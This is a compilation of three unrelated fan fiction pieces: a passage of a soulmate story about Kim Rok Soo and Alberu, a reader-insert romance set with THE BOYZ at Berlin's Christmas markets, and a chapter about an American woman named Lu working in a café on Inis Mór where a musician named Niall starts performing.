Their age gap was large, spanning about over 10 years, yet it had always surprised Lee Soo Hyuk how Deruth acted. He acted in such petty jealousy of the attention Kim Rok Soo received from their father, he left Kim Rok Soo utterly  traumatized of ever receiving things, so traumatized that he left the house and thought that he was the one at fault, that he was the one who was intruding, that he was better off with receiving an allowance every year without returning to the place of his birth, well not that Kim Rok Soo would want to. The allowance was large, as if it was consolation money. Maybe it was.

Lee Soo Hyuk wasn’t sure but he thought that was why Kim Rok Soo was so obsessed with his early retirement to be peaceful and mainly, not attract any attention. Perhaps, it was because of the years he had spent in that hellhole. 

Lee Soo Hyuk knew Deruth, not that well, but well enough to decide that he didn't like the child’s personality, despite it becoming a little more amiable when he had married his first wife. Only when his first child was born did Kim Rok Soo decide that he wanted to accept the long time invitation of reestablishing contact. It was not much so of regaining contact than it was not wanting his nephew to go through the same things he did, not that he would admit it.

Lee Soo Hyuk and Choi Jung Soo shared some things in common one of them being their extreme dislike towards Deruth, not his children of course, those little rascals were adorable. Lee So Hyuk still remembers the day when Kim Rok Soo had volunteered to babysit the two sons; Basen and Cale.The reason being the fact that  Violan, Deruth’s second wife, went on a vacation to get herself some rest for her upcoming pregnancy, along with her husband, of course. Basen was eight and Cale was eleven. Cale was rather annoyed all the time, until Kim Rok Soo gave him a lollipop, after that his face lit up like a firework on a starry night. Lee Soo Hyuk remembered the small pale child, with flushed cheeks sitting only next to Kim Rok Soo. Cale said that it was because Kim Rok Soo had the lollipops, which he absolutely loved, but everyone knew that wasn’t the case. 

Basen liked Kim Rok Soo because the elder man fascinated him, and he liked the way he played the saxophone. He had all these memories stored in his brain solely because these were joyful instances, some that continued even today. Even when the small Cale had grown up to be a splendid twenty five year old, even when the curious Basen seemed to have matured into a calm adult, they both seemed to revert back to the way they were when they were kids in front of Kim Rok Soo. It was also known how overprotective Kim Rok Soo was of the duo, which then evolved into a trio as Lily was born.

Lee Soo Hyuk was genuinely glad that his dongsaeng had gotten a soulmate, albeit unexpected who the soulmate was, it was good to have his thoughts take form in reality and that someone other than people close to Kim Rok Soo, who all had their own partners to worry about, had dug deep enough to find that the stoic man made a splendid companion. 

Even though it didn’t take that much time for Alberu to crack this seemingly tough nut.  

“So,” Lee Soo Hyuk asked, “Are you going to ask him out on a date?”

Kim Rok Soo looked out of the side view mirror for a second before answering,

“Yes.”

**

Alberu returned to his seat on the couch, after feeding the two cats and washing the cup, still dazed and trying to register what he just saw. 

‘That- that was a soulmark, right? Really? I’m not that sleep deprived, am I?’ He raised his sweater once more to see the mark.

‘So it wasn’t a hallucination.’ 

He sighed in defeat, until he felt a small head purring under his hand, which made his downcast gaze shift and meet the grey cat’s gleaming yellow eyes, “Hmmm?” he hummed in confusion.

The grey cat’s beady eyes seemed to twist into a more annoyed way each time Alberu saw them, or perhaps that was just his imagination.

Alberu leaned over his shoulder, “What should I do about this now?”

‘I do like the idea. Should I just see how it goes before jumping to any more conclusions.’

“What the hell should I do-”

His lamenting was cut off by the shrill sound of the doorbell, which made him scramble to his feet, leaving the two cats startled at this unexpected noise.

When Alberu opened the door, he was finally greeted by the long awaited and familiar face of his college friend and secretary. Alberu looked at the other with a half irritated expression, “You really took your time, huh?”

The taller man, tanned and adorned with two small black stars under his eyes, had a look of nonchalance, his short sun-kissed hair with beach wave nature bobbing gently alongside the wind.

He spoke with little or no care of the standing between the two individuals, despite the other being the superior, with an audible british accent.

“Sir, I was called by Mistress Angelina and Sir Choi Jung Gun for tea a while before you called me to retrieve your keys, which I presumed was an easy thing to not forget, but I suppose even the greatest minds can slip up-”

He was cut off with an annoyed shush by the other, “Could you please stop with the unpleasant pleasantries of yours.”

Taerang took a pause, before scanning the younger man, “How did you manage to get so wet?”

Alberu sighed, “It’s a long story.” 

He heard a small mew near his leg, which prompted him to look down to see the red cat rubbing itself on his ankle. Alberu looked back at Taerang, motioning that they should move locations, preferably to his home, in response to which Taerang simply nodded.

After a sorrowful parting with the cats, Alberu shut Kim Rok Soo’s door and turned to look at Taerang who looked a bit surprised. 

“What’s wrong?” Alberu asked, walking through the hallway.

Taerang’s head slightly tilted, walking at an equal pace, “You’re quite close to your neighbor. Did you already tell him who you are?” 

Alberu flinched, “Not at all.”

Alberu flinching would normally not be noticeable to other people, but Taerang knew Alberu, so he could easily see through him. “Really? I’ll have to report to Miss Tasha either way. You do remember the repercussions of disclosing your identity, right?”

Alberu was silent until they reached his house, “We’ve reached. Let’s talk here.”

**

When Kim Rok Soo returned, he saw his hall exactly how he had left it. He felt the two cats mewling at his feet. He picked the red one up and sat down on the sofa, the other following him and laying herself on his lap.

The rest of Kim Rok Soo’s day was uneventful, except the fact of him planning the confession before he slept. He decided to talk with the other person for a while, and see whether the other thought the same. Going slow would be the best for now, he thought, turning to his side.

But you know life had always been cruel to him, always raising his expectations, only to let him see them come crashing down like a child’s sandcastle built too close to the sea. Again, and again, without any pause. This time was no different.

The next evening  Kim Rok Soo decided to visit Alberu, he wasn’t greeted with the annoyed expression he’d expect from the darker man, instead, he was greeted by a paper stuck on the door that read in big font, 

‘Now on sale! Buy a new flat-’ 

Kim Rok Soo didn’t bother reading the rest. He was too shocked to comprehend the words plastered on the face of the flyer.

[jjyusmile]

lee hyunjae - above the lights (ft. the boyz)

happy the boyz day!

pairing: hyunjae x {gender-neutral} reader x the boyz as besties

words: 3.9k

warning: mentions of food and drink! light mention of alcohol / alcohol poisoning

note: this is my present for the boyz third anniversary... I was inspired by the berlin boylog and their trip to the christmas markets last december. but I thought it would be cute for all of them to be there heheh! of course, I made it biased and a little romantically fluffy but this is to show my appreciation for all of the boyz! the romance is just to show this is a bec story :’) thank you so much for your support always!!

✼　 ҉ 　✼　 ҉ 　✼　 ҉ 　✼　 ҉ 　✼　 ҉ 　✼

stepping out of the restaurant, the chill in the berlin air washed over each of you as you stepped through the doorway onto the cobbled streets. wrapped in puffer jackets and scarves, hoods pulled up to shield your ears from the breeze. you all huddled under the cover that lazed over the shop entryway as rain drizzled from the sky. each of your cheeks tinged pink as the frosty chill nipped at your skin. eventually, warmth cascaded over you as heat radiated off the eleven boys clustered around you in an attempt to figure out where to go next.

as they murmured to each other, scrolling through google maps to gage your whereabouts, you looked up at the bare trees lining the streets. each was draped in strings of lights to the point where you almost forgot they wouldn’t blossom for another few months. the atmosphere surrounding you was festive and cheerful.

“it’s so pretty,” kevin came to stand beside you, hands buried in the pockets of his jacket. you hummed in agreement not taking your eyes off the cascades of red and white that flickered along the street. you hadn’t noticed your hands were shaking from the bitter chill in the air.

you were pulled out of your gaze as elbows rested against your shoulders from behind; the proximity immediately warmed your body through. the comforting scent of your best friend surrounded you; sighing, your hands stilled and you melted into his chest. hyunjae chuckled as his arms came around your waist, pulling you into him. the murmurs became distant while you were distracted by hyunjae whispering close to your ear about how much kevin resembled a grizzly bear in his sherpa hoodie. shy giggles escaped your mouth as your hand shot up to cover your mouth; hyunjae hid his face in the crook of your neck to hide his own laughter.

the group had slowly moved down the street with you and hyunjae trailing behind. it wasn’t unusual. the shy touches followed by playful shoves… it had always been like that. except touches that were once familiar became more intimate. in your eyes, you were no longer just best friends. but you tried to ignore the tingles that ran up your arm when he mundanely passed you your morning coffee; the way he would pull you a little closer when you were all huddled around the small tv in sangyeon’s apartment; when your walks in the park turned into hours of sitting snuggly on a bench under the cherry blossom trees in the spring. the same way, right now, his hand brushed closely against your own. you welcomed the light touches under the chill int he air.

reaching a corner along the streets of berlin, all of you circled tightly around the fold-out map of the city, each one of you nudging the other to get a better look. how could a place so big seem so tiny on the crinkled pages that chanhee held out in front of him? eric closed his eyes and ran his finger in squiggly circles across the landmarks of the city. a squeal clouded your senses the moment changmin noticed eric’s fingertip grazing toward the oversized wooden stall wrapped in colourful lights -- the berlin christmas markets.

in a flash, changmin was running in the direction of the festivities, dragging younghoon by the cuff of his jacket sleeve; the pair were giggling like school children. seeing their energy dawned the realisation that you had been walking around all day -- your feet ached and you were overflowing in the warm vegetable soup you ate… and finished sunwoo’s bowl, too. your sleepy form was close to giving up and going back to the hotel until a figure stepped out in front of you and crouched down. juyeon turned to look at you with warm eyes and tinged pink ears that poked out from under his cap. a slight nudge of his head prompted you to jump on and then you were hugging his back as he carried you down the street. he bent down jokingly to tie his shoelaces with you still on his back. you giggled.

jumping down, rushed with excitement, you didn’t wait for wait from juyeon to finish, you pulled him up with a force that almost tore his arm off. he never got to finish tying his shoes. from behind, hyunjae wandered along the street, helping eric keep his balance as he stepped one foot in front of the other as he grazed the curb of the footpath. but his focus was trailed on you with a shy smile on his face. he couldn’t pinpoint what had shifted and when it did -- but something had definitely changed.

you skipped toward the rest of the group as you entered the markets, dragging juyeon in tow and immediately linking arms with sangyeon. he pulled you toward each stall that grasped your attention. the image of haknyeon trying to ensure the strings of cheese didn’t escape his mouth left you in a fit of giggles. the way these boys interacted with each other was like you were a big family. at one point, kevin gathered everyone in to fit on the tiny screen of his phone, your head squished under hyunjae’s arm as it wrapped around you to lift you up high enough to get in frame. a bundle of hysterics soon followed.

the stalls that lined each side of the market were flooded with smiles and families rushing around to get a glimpse of everything. the tree that perched at the center of it all loomed over you with flecks of gold as the sun began to set. each bauble glistened under the streams of sunlight that reflected against them. specks of light danced across the stalls. the market became too crowded for the group to stick together, you decided to meet back at the tree at 10pm. hyunjae ducked down quickly to kiss your temple with a whispered “see you later” moments before he headed off in the opposite direction without sparing you a glance; juyeon and younghoon were already aiming at targets in a competition to win the abnormally large stuffed panda. the action left you slightly disorientated as you stared at his retreating figure, all bundled up warm in his oversized puffer jacket that he always joked could fit you as well. distracted, haknyeon wrapped his finger around yours to drag you toward the stall filled with an array decorations.

changmin grazed his hand along the ornaments that dangled in rows along the walls. he picked up a snowglobe from the bottom shelf and eyed it carefully.

“something has changed, hasn’t it?” he asked, not takng his eyes off the glittering flecks that danced around the ornament as he shook it delicately.

the question startled you, a sharp inhale could have been heard from a mile away. you played with the sleeves of the jumper hyunjae had lent to you that poked out of your coat. “what do you mean?”

he directed his attention toward you as haknyeon stepped beside him, voicing his thoughts for him. “you’re not just… you two anymore. you’re… you two.”

a roll of changmin’s eyes met with a chuckle at hak’s choice of words -- ever ominous with next to no clarification.

you, on the other hand… you stood there unmoving. had things changed? they must’ve done for others to notice. hyunjae had become more public with his subtle flirting -- but didn’t he do that with everyone? you had always been close, closer than everyone else in the group… it was only natural that these moments happened every so often, right? but they weren’t every so often anymore, the voice in the back of your mind shattered any excuse you attempted to make. now that you thought about it, this was one of the first moments since you began your trip around europe that you were without hyunjae by your side. your mind drew back to the last moments you saw him. hiding his smile in the crook of your neck. a kiss to your temple. your eyes squeezed closed as your heart squeezed harder in your chest.

changmin noticed the change in your moon and diverted his attention quickly to the precious decoration that he shook a little harder between his hands -- flickers of glitter and fluorescent snow swooshed around the tiny bubble. “I think I’ll buy this one.”

you were glad for changmin’s thoughtfulness -- he always understood. the conversation had diverted from you sooner than it started.

it was only when you you found yourself in line for mulled wine beside kevin that you let your thoughts slip away. he had found you wandering the stalls alone when you lost the giddy twosome to the hook-a-duck game. and now your hands were stuffed into the pockets of sangyeon’s jacket as you leaned your head on his shoulder... chanhee did the same on the other side. the temperature had dropped significantly as the sun had completely set over berlin; you noticed the puffs of condensation that left sangyeon’s mouth in clouds of fog as he zipped his leather jacket up and over his chin. his bright smile was lit up against the strings of lights along the mulled wine stall. glancing sideways, jacob wasn’t too far away, snapped pictures of the decorations and families celebrating the festivity.

the front of the queue couldn’t have come fast enough -- it felt like hours before kevin stood at the small window in the stall ordering two mugs of red and two of the ‘white angel’… it was jacob that persuaded you against the red, reiterating that you were, in fact, an angel like him.

“but we have to match!” his giddy smile reached from ear to ear-- it was too cute to turn down. you weren’t much of a drinker, apart of the odd party that the boys used to hold at one of their apartments. those nights ended in hyunjae or a very reluctant juyeon holding your hair away from your face as the events of the night came back to bite you.

“fine,” you playfully rolled your eyes as you nudged his shoulder. he came over to rest his head against your own shoulder as chanhee stole sangyeon for himself.

an extra large stein of mulled wine was placed in your hands by kevin. it felt like you had been handed the mug of a giant, it being bigger than your own head; you had to use both hands to clutch around the sides, the warmth a welcoming feeling. you noticed, as you went to draw your first sip, that the mug was decorated in silver flecks as the words ‘white angel’ flicked in cursive against the liquid; your eyes drew back to jacob who grinned at you with a wink.

you didn’t miss sangyeon coaxing chanhee into trying a sip. his sweater paws gripped at the bottom of the stein as he tipped the liquid toward his mouth, sangyeon holding the burgundy liquid to make sure chanhee didn’t take an unfair shre. a loud bellow erupted from your stomach when chanhee’s expression morphed from curiosity to sheer disgust at the kitten lick of a sip he had taken. he turned to glare at you while taking the bottle of water from jacob’s rucksack to wash away the taste.

“I told you -- I don’t drink!” he exclaimed, playful eyerolls could be seen from left and right, even strangers in the queue enjoying the show.

“it’s not like we held you hostage and forced you to try it!” sangyeon countered, taking a large slurp from his drink. his eyes crinkled in slight disgust before his eyes widened as he stared at the liquid with fascination. a light giggle bubbled in your throat as you went to take a sip of your own.

you were perched on the end of a wooden table beside the tree, knees drawn to your body as you clutched the quickly evaporating warmth in the mug. you hadn’t even saved any for hyunjae. of course your thoughts would go straight to your best friend. you smitten fool.

your eyes became heavy with drowsiness as you watched kevin take pictures by the tree. they had found changmin and haknyeon as they wandered around aimlessly, stuffing their faces with powdered sweets. haknyeon stretched his arm out slightly to hold a candied strawberry in front of your face; your eyes widened slightly at the site and you took the sweet gratefully as he skipped back to the boys. the muffled silence drowned you as you sat by yourself, chin perched against your palm. you couldn’t help but let your thoughts wander to the boys that brightened your days.

in the distance, you noticed juyeon and younghoon giggling at the same game they hadn’t left since you arrived. not far behind them were eric and sunwoo; the redheaded boy looked around as if there were stars in his eyes… hood up to brace his features from the cold. eric chatted excitedly in his ear about one of his old family christmas traditions but his attention was focused on the strings of warm lights that hung above. distracted, you didn’t notice the first few toasted chestnuts that headed in your direction. it wasn’t until one landed softly in your lap, your gaze wandered your surroundings to find its owner. the rest of the boys were crowded around the tree, gleefully grinning as jacob captured their gentle expressions on his camera. kevin held his wine in front of the tree, phone camera at the ready to snap the perfect shot. but, none of them wanted your attention. your gaze shifted to the left where you noticed a familiar figure hiding behind the candy floss stall.

you were drawn in that direction.

you knew it was him before you even saw his face.

“I’ll be back in a minute,” you shouted, pretty much into the void, at the group. a barely visible thumbs up came from sangyeon who’s attention didn’t falter from the camera.

a chuckle escaped your lips as you wandered slowly toward the hidden rascal. he was delicately removing the shell of the next chestnut. you snuck up behind him, a cheeky grin washed over you automatically as a plan formulated in your head. tip toeing forward, your fingers stretched out as you neared his hoodie clad back, the fabric resting lightly against the top of his head. a quick countdown found you clinging tightly onto his back in an attempt to frighten him; a yelp sounded from your best friend as he dropped the remaining chestnuts from his clutches.

his hands flew up to clasp around your wrists. you didn’t miss the way his tense form faded away the moment he inhaled… did he recognise your scent? the same way you did his…

“you got me.”

his eyes crinkled as his head turned to face you, a smirk forming on his lips. the moment his eyes laid on your own they glistened in the most overwhelming way. each time you looked at him, with your face in such close proximity, you couldn’t help but feel warmth spread through your veins.

“I got you…” an intensity clouded his irises like the sweetest chocolate. your words had more of an impact than you had  originally implied.

steadily, you unclasped your wrists from hyunjae’s warm fingers as you stepped down, feet placed firmly on the ground as you shyly grinned up at him.

“hi,” you chriped, the smile not leaving your lips for a moment.

“hey,” he whispered, eyes melting into yours.

without much thought, he intertwined your fingers snuggly with his own. leading you behind the stalls and into the unlit alley. you knew by the confidence in his walk that he had a plan up his sleeve. trailing behind him, your gaze was fixed on the smile that hadn’t left his lips. you couldn’t help but let your mind wander to the idea that he was enduring a similar inner conflict to your own. you weren’t just best friends any more.

you approached a dark, abandoned stall with a small ladder leading up to the roof. he stopped abruptly and looked down at you expectantly. his eyes flicked up to the roof and back to you… after you, his eyes said. his hands gripped lightly at your waist as he helped you up the ladder, fingers grazing delicately at the tshirt that rode up along with your sweater…  his sweater.

it was the little things by now. years of small gestures that lit up the blood in your veins added fuel to the fire.

he wasn’t far behind you as you settled in, feet dangling over the edge of the unfinished stall, hyunjae settling closely beside you. your knees knocked against his, whether it was on purpose or not was a question left unanswered.

your eyes took in the sight before you; smiling children stuffing their faces with bratwurst, couples snuggled cosily in their pods on the ferris wheel -- the prime spot for a romantic evening -- and then  your best friends. your eyes fell on all of them, messing around with eyes lit up like children on christmas morning. a smile washed over you subconsciously. they were the loves of your life -- every single one of them.

but your face was burning. the person that stole your heart without even realising wasn’t focusing on the flickering lights from below. a golden haze washed over his face, his features accentuated under the shadows. his eyes were boring into your own -- your skin of your cheeks could’ve melted at the intensity. his eyes were full of musical wonder.

“hey,” he whispered, again, face crinkling as his smile met his eyes.

“you’ve said that already,” you taunted, cheekily. a nudge against his shoulder to accentuate your joke.

“I know,” he paused. “my mind can’t come up with much more right now. I’m a little breathless.”

“right!” your focused drifted toward the festivities below you. “isn’t it incredible!”

it was his turn to pause. his fingers reached for your hand, intertwining with your own as he drew them into his lap. “yeah… it is.”

his tone brought you back to reality. you were sat here side by side, fingers intertwined delicately as his thumb grazed over the back of your hand. you noticed him exhale a shaky breath. your free hand lifted to brush the fallen strands away from his eyes as the wind blew softly. before you could withdraw your hand, hyunjae quickly clasped your wrist, pulling you closer to him, your noses brushing.

“jae?” it was your turn to release a shaky breath. you had tiptoed over “the line” for years now -- subtle touches, flirty jokes and much needed cuddles. but you had never been in this close... close enough to see the delicate bead of sweat that formed on the side of his neck. the lights from below highlighted his cheekbones in a subtle glitter.

he hummed in response, his attention focused not on your eyes, not on the fair below, but on your lips. his own plump lips forming a pout in temptation.

“jae…” you tried again.

his eyes fluttered closed at the plead in your voice. you didn’t know yourself whether it was an attempt to stop him, or, more likely, an urge for him to continue.

“I’m sorry,” his voice was strained, his fingers squeezing a bit tighter to reassure him that just because he closed his eyes, it doesn’t mean you disappeared.

you gravitated toward him. it wasn’t the holiday season, it wasn’t the subtle loneliness that sat with you throughout your unclaimed adolescence. you were never alone, because he was always there. even though it had shifted from being platonic, despite your hesitance, he was the one who you were drawn to no matter what.

his sweet gestures held more weight now. the way his eyes poured into yours lit a bundle of nerves that sat close to your stomach, releasing butterflies each time his eyes flickered between your own.

“don’t apologise,” your own eyes closed for a moment, inhaling deeply.

a brush of his nose against yours drew you back to reality, your eyes shooting open, blinking rapidly as your heart jolting in your chest. his breath fanned against your lips, your own doing the same.

a smile washed over his lips, eyes crinkling. “did you drink?”

“blame kevin, he bought it.”

he let out a chuckle as he nuzzled his nose against yours once more. comfort washed over you as you inhaled his warm scent, hints of cinnamon and musk.

“I’ll remember to thank him.” his smile was permanent now, it wasn’t disappearing for good.

“thank him?” you questioned, eyebrow quirking. the proximity heating your cheeks by the minute.

“I don’t think you would’ve agreed to have been here with me right now if you didn’t have a little liquid luck.”

you hummed, a giggle greeting your lips as they brushed over his. his eyes hadn’t flickered from your lips, waiting for the perfect moment. but as the wave of confidence took over, he realised that any moment with you was the perfect moment. as long as you were there, it would always be perfect.

he closed the small space and captured your lips with his in a delicate kiss. emotions that you had both swallowed throughout your friendship poured into it with such intensity it made your head spin. his head titled to deepen the kiss, his arms sliding up as his palm cupped your jaw tenderly, yours wrapping around his neck; your thoughts couldn’t wander far from your reality. as he pulled you to fit snuggly against him, your body moulded perfectly against his. his once cold fingers now sparked at each touch against your skin.

he pulled away for a moment only to place gentle kisses along your jawline to the sweetspot below your ear. he peppered kisses on every feature that he loved about you, careful to remember that you were still in the public eye, even though you were flying high in the sky at this moment. his forehead pressed against yours as he sighed in content. the moment you had been waiting finally became a reality; your hands coming up to hold his face in your hands, echoing his sigh.

your thoughts drew back to the inquisition of changmin and haknyeon earlier this evening, “they were right.”

he drew back slightly, careful not to let your palms drop from his face, with a questioning eyebrow raise, “who was right?”

you grinned widely at his jealous tone as you pulled him back in for another kiss. faint echoes cheers came from below as you moved away from his lips to find the commotion. your best friends were pointing and brightly squealing at what they had just witnessed, beaming smiles prevalent on all of their faces. a low groan escaped hyunjae’s throat as he attempted to hide in the crook of your neck, a familiar feeling washing over you as the shy smile made its way back onto your lips.

it didn’t stop his fingers from intertwining with your own again, though. and once the commotion had subsided, he pulled out a festive box filled with heart shaped chocolates, popping one into his mouth before giving in at your childish pout.

neither of you had felt as whole as you did in that moment... just above the lights.

✼　 ҉ 　✼　 ҉ 　✼　 ҉ 　✼　 ҉ 　✼　 ҉ 　✼

TO. the boyz

thank you for everything. you are the best thing that ever happened to me -- you are the reason I smile daily, along with so many other theb. you are a family that welcomes anyone with open arms. I hope it stays this way forever. 

you deserve every happiness and I hope you know how much you mean to us all. always remember deobis love you.

I love you all so so so much.

A/N: thank you for celebrating the boyz third anniversary with me! I hope you enjoyed :’)

#오래도록_빛날_더보이즈의_3주년 #3YearsWithTHEBOYZ @WE_THE_BOYZ @Creker_THEBOYZ

[sadaboutniall]

Without Fear

masterlist | tag | wattpad

hiya! since tomorrow is thanksgiving I thought it would be better for everyone if I posted this week’s chapter today! hope you like!

Chapter Two. February 

give me moonlight, and a smile from you that I can // that I can barely believe — dancing under red skies, dermot kennedy

It comes on slow, the way waves lap up against the shore late at night, when there aren’t many boats out to disrupt them. Over and over, bit by bit, it settles in. The first wave of it bites at Lu’s ankles when her toilet overflows at 6am, leaving her standing in her socks in the bathroom, soaking wet, worrying about the water leaking into the shop below, while Ruairí meows in concern from his spot atop the sink. Frantic, Lu calls her dad, and it goes to voicemail twice before she remembers it’s 1am in New York. 

Accompanied only by a YouTube tutorial and the rising sun, Lu manages to fix the mess, shower, and start the day all on her own. Her dad calls back five hours later, and Lu feels like she’s lived a whole lifetime between then and now. 

The second wave of it has more venom. She sleeps in on a Sunday—the only day the shop is closed—stirring around 10 because Ruairí is relentless, screeching in her ear, kneading at her belly, desperate for something to eat. Mindless, she feeds him, freshens up his water, makes herself a cup of coffee, pulls out a pastry leftover from Siobhan’s bake the day before, and settles into a spot by the window of her flat, overlooking the sea, all before thinking to take a look at her phone. 

Even if she goes 12 hours without looking at her phone, Lu finds she doesn’t miss much these days—she left home on a whim, without a ton of fanfare, and knows full well that she isn’t putting in the effort she should to keep in touch with friends from home. She also knows that’s why she left.

So, most mornings, she wakes up to a few messages in the family group chat, a message or two from her best friend Georgia, and not much else. This morning, it’s different. 

208 texts. 12 missed calls. 

Lu’s stomach sinks like a stone. Her whole body heats up at once. Her hands start shaking and her heart starts hammering, all before she even manages to swipe open a single notification. 

She doesn’t even have the wherewithal to cycle through possibilities. Her brain, hitting overdrive from the start, has no question that it’s bad. 

In WhatsApp, Lu finds that her family group chat has 206 messages. She has one separate text from her dad, and a final separate text from her brother. Nothing from her mom. 

Shaking, she swipes open her dad’s first. On the counter, Ruairí is sniffing at a banana. 

Hi, love, his message says. Figured the number of messages in the group chat is overwhelming. We’re at the hospital with Sam now. All is well, the appendix is out and he’s resting. Mary’s with us, she got back from Honduras yesterday. Good timing. Give us a call when you get a chance. 

From her brother, Lu finds a selfie. He’s in a hospital bed, gown around his shoulders. He looks pale, dark circles around his eyes, but he’s okay—he’s smiling, giving the camera a thumbs up. Underneath, the message says I lived, bitch. 

Relief coursing through her, Lu lets out a shaky laugh. It’s scarily on-brand for Sam to pull out a meme at a moment like this. 

Slowly but surely, Lu’s heartbeat slows to its normal rate. As it does, she scrolls back through the messages from the night before: her brother raising the alarm that he had a pesky pain in his side, their mother, a doctor herself, urging him to get it checked out. There’s a moment where Sam says the doctor is sending him home, and another where their mom urges him to demand an ultrasound, just in case. He does, and they find the appendicitis. Lu shudders to think what would’ve happened had her mother been the one sleeping soundlessly an ocean away. 

It’s five am in New York. Lu figures they’re all shattered. Rather than call and risk waking everyone up after what was surely a late, long night, Lu shoots off a text to her dad, asking him to call her when they wake up and sending lots of love. She turns her ringer up all the way so she won’t miss anything else. She feels a million miles away. 

####

On February first, Lu wakes up in a cold sweat. It’s still dark outside, but that doesn’t mean much in a place where the sun doesn’t rise until nearly 9am. Still, Lu doesn’t even need to look at a clock to know it must be early: perched on the pillow next to her head, Ruairí is snoring gently, dead to the world, not yet ready to demand breakfast. 

Heart hammering, Lu gropes around the bed until her hand closes around her phone, cold. She squints, then sighs, as she checks the time.

4:45am. 

Lu is no stranger to waking up mid-panic attack. Sometimes, it feels like choking—like she can’t get a breath down deep enough, to pool in the bottom of her lungs. Other times, it feels like an unavoidable urge to get up, move, get as far away from the space she woke up in as physically possible. Right now, it feels like a stomach ache, period pains, itchy skin, her body trying to tell her that something, somewhere, is going terribly wrong. 

Logically, she knows it’s not. She holds her breath, five, four, three, two, one, and checks her phone as her heart jackrabbits away. Nothing out of the ordinary: her mom texted a picture of her glass of wine with dinner to the family group chat, her dad reported the score of a soccer game, her brother sent that he’d managed to run a full two miles today, his furthest since the appendectomy. Everything is fine. 

Except for Lu. 

There’s no use trying to go back to sleep; Lu knows herself better than that. Heart still working overtime despite reassurance, she slips out of bed as gently as she can, praying that she won’t wake Ruairí. She’s silent as she gets dressed and silent as she tiptoes out of her bedroom, out of the apartment, and down the stairs. The morning is still and dark, but you can hear for miles and miles on Inis Mór, and as she begins her walk the soft, familiar sounds of tractors roaring to life, cows mooing for their breakfast, sheep and goats bleating, remind Lu that she’s not the only one—that others are here too, alive, beginning their day, pushing on. Home. And underneath it all, there is, always, the sound of the waves, constant, crashing against the shore. 

####

Lu doesn’t get a chance to nap. She walks, balancing on the edge of the cliffs that overlook the Atlantic, breathing in the sea air and thinking about how the water here, crashing, violent against the cliffs below her is the same water that once lapped up on the shores of Long Island, of Coney Island, of the Rockaways, of home. Seagulls swoop, low and graceful, over her head, over the ocean, and Lu thinks that if she asked her dad to drop a floatie into the Atlantic for her it just might make it—just might wash up here, on the edge of the Earth, the way she has. 

She walks and walks—you can walk all the way around Inis Mór and back in under five hours, but she doesn’t have that kind of time. She walks along the cliffs, the white, blinding, otherworldly geology of the Burren, through the grass and the mud and the cow shit, until she’s back at the cafe, windows glowing golden against the rising sun, condensation clinging to them from the inside. Siobhan is pulling pastries out of the oven when she opens the door around 6:30, and Ruairí, curled up on the counter, looks at her, bitter. 

Siobhan smiles, “There you are. No worries, pet, I’ve fed him his breakfast.” 

She wobbles through the day, exhausted from the panic, the walk, the lack of sleep. She messes up at least two orders—gives Mrs. Duffy whole milk instead of skim, drops Mr. Kennedy’s sandwich on the floor while she’s bringing it over to him—but, as always, no one bats an eye. They touch her arm gently, lull “oh, it’s no bother, darling, we’ll make it right, now,” and the cadence of their laughter carries as she does exactly that. There’s no venom, no rush, nothing to give Lu the adrenaline she so badly needs to make it through the day. 

Somehow, she almost forgets that it’s Niall’s first day. But all of a sudden it’s twelve hours later and he’s bustling inside, bringing a rush of cold air with him. The door swings shut behind him and Lu, who had been curled up at the cushioned window seat with Ruairí on top of her in a moment of quiet, jumps. The cat’s only just forgiven her for this morning, and her movement causes him to stalk off in anger. She sighs after him.

“Oh, no,” Niall laughs a little, “sorry, did I interrupt something?” He looks soft and sweet in his dark jeans, his hat pulled low over his forehead. He’s shedding his puffer jacket to reveal a navy blue cable knit sweater and his cheeks are flushed from the cold. His eyes, bright and blue as Lu remembers them, find hers. He smiles. 

“Yeah,” Lu just about manages. “He just forgave me, you totally ruined it.”

Niall barks out a laugh, head thrown back, shoulders hunching up. “What did you do?” 

“Forgot to feed him breakfast this morning,” Lu sighs. “Siobhan did it, but he held it against me anyway.” 

“Ah, well,” Niall shrugs. “I’d be mad too, if I were a cat.” 

“S’a good thing you’re not, then,” Lu smiles. “I’m not here to feed you.” 

Niall’s still giggling. Lu wonders if he ever stops. 

“I’m thinking I might make him pupcakes or something as an apology…” Lu is rambling a bit now, but she’s so tired, and Niall’s so cute, and nothing is real here, anyway. “I know they’re for dogs but I can’t imagine they’re bad for cats? I bet he’ll like those—honestly, I bet he’ll just like knowing I slaved over a hot stove for him. It’s like he can tell, you know?” 

It wasn’t meant to be that funny, but Niall is fully cackling, crinkles by his eyes on full display, one hand clutching his tummy. “You’re funny,” he says between laughs. “A bit looney, me da would say—hey, Lu, looney, Looney Tunes. It all makes sense.” 

“Isn’t ‘looney’ offensive?” The banter with him comes so easily, Lu doesn’t let herself overthink it. “Think we’re supposed to stop using it.” 

“Ah, well,” Niall’s pulling his guitar out to tune, now, “You’re in Ireland now, love. All good nicknames are a little offensive.”

####

The night is mostly quiet, a dozen customers at the most, which Lu thinks is probably good for Niall’s nerves. He’s just as stunning as he was the night Lu first met him, pulling out an arsenal of covers ranging from Bruce Springsteen to Post Malone, somehow making them all work for his voice, for the vibe, for everyone, but he’s shaking—she can see it when he pushes his hair off his forehead, or when he drops his pick on the floor between songs, laughing awkwardly as he bends to grab it. Even with the mistakes, the dropped pick, the few stumbles over lyrics, he’s endearing, engaging, all-consuming. Lu’s meant to be working, but she can’t find it in her to look away.

From her spot at the counter, Lu watches how Niall keeps his eyes trained on the window across from him. He doesn’t seem to be looking for anyone or anything, but Lu suspects it’s easier than looking his audience in the eye—despite the fact that she can see for herself just how captivated they are. It shouldn’t take an hour and a half to drink one coffee and eat one slice of chocolate cake, but that’s how long old Mr. Kane spends in the shop anyway, eyes closed, listening to Niall play. 

For two full hours, Niall keeps the shop warm and alive. Everyone is so captivated that Lu barely has to work after all; she leans up against the counter instead, cradling the mug of hot chocolate that Siobhan made her before she left for the night, and taking him in. She barely knows him, and yet. 

Lu has seen plenty of nervous first-timers performing in front of apathetic crowds—it was practically her job, after all. She’s also seen more than her fair share of world class performers stunning crowds that want to eat them up, keep them on stage forever, bottle their energy and carry it through the rest of their lives. Working in the music industry, even just as an assistant, for five years turned her hard and jaded, made her feel like she’s seen the seedy, rough, rude underbelly of it all—but she’s never seen anyone perform like Niall before. His unadulterated, all consuming love for music is tangible, even from across the room. This is now Niall communicates. This is how he understands the world. This is how he sees life. Half of Lu feels lucky to hear it—the other half feels sick knowing that his talent is wasted here.

